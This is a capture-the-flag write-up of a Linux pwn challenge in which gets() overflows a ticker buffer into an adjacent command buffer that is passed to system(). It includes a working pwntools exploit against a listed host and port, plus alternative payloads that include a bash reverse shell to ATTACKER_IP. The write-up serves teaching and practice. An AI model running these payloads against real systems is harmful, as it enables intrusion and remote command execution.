Stonks
XESXOR9/2/20262 min read
#pwn#custom#medium#na#linux
Stonks
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-03 | Status: Solved Techniques: NA
Summary
Task: Trading terminal with buffer overflow vulnerability in global .data section. Solution: Overflow ticker buffer to overwrite adjacent user_cmd variable, then trigger system() call to execute arbitrary commands.
Stonks - hackerlab
Description
Вы — трейдер на тёмной стороне MOEX. В терминале торговли обнаружена уязвимость переполнения буфера. Воспользуйтесь ею, чтобы получить доступ к главному серверу и флагу!
Analysis
Binary Information
ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
Dangerous Functions
The binary contains dangerous functions:
gets- reads input without length checksystem- executes system commands
Key Symbols
| Symbol | Address | Size | Description |
|---|---|---|---|
ticker | 0x404080 | 0x10 (16 bytes) | Buffer for ticker input |
user_cmd | 0x4040a0 | 0x100 (256 bytes) | Buffer for command |
admin_panel | - | - | Function (disabled in production) |
| |
Vulnerability
Buffer Overflow in global .data section:
- Function
analyze_market()callsgets(ticker)without length check - Function
show_gazp()callssystem(user_cmd) - Distance between buffers:
0x4040a0 - 0x404080 = 0x20 = 32 bytes
.data section layout:
+------------------+
| ticker (16 bytes)| 0x404080
+------------------+
| padding (16 bytes)|
+------------------+
| user_cmd (256 b) | 0x4040a0 <-- system() reads from here
+------------------+
Attack Vector
- Select option 1 (Analyze market)
- Send payload: 32 bytes padding + shell command
- Select option 2 (Show GAZP) - triggers
system(user_cmd)with our command
Solution
Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * HOST = "62.173.140.174" PORT = 27950 r = remote(HOST, PORT) r.recvuntil(b"Exit") # Option 1 - Analyze market r.sendline(b"1") r.recvuntil(b"ticker:") # Overflow: 32 bytes padding + command payload = b"A" * 32 + b"cat flag*" r.sendline(payload) r.recvuntil(b"Exit") # Option 2 - triggers system(user_cmd) r.sendline(b"2") r.recvuntil(b"Downloading") print(r.recvall(timeout=5).decode())
Alternative Commands
python read-only • copy allowed# Get shell payload = b"A" * 32 + b"/bin/sh" # Read specific file payload = b"A" * 32 + b"cat /home/ctf/flag.txt" # Reverse shell payload = b"A" * 32 + b"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Techniques
| Technique | Description |
|---|---|
| Global Buffer Overflow | Buffer overflow in .data section |
| Adjacent Variable Overwrite | Overwriting adjacent variable |
| Command Injection | Command injection via system() |
| gets() Exploitation | Exploiting lack of length check |
Defense
How to protect against this vulnerability:
- Use
fgets()instead ofgets() - Don't store commands for
system()in global variables - Validate user input
- Use ASLR and PIE
- Apply stack canaries (though here overflow is in .data)
References
- CWE-120: Buffer Copy without Checking Size of Input
- gets() man page warning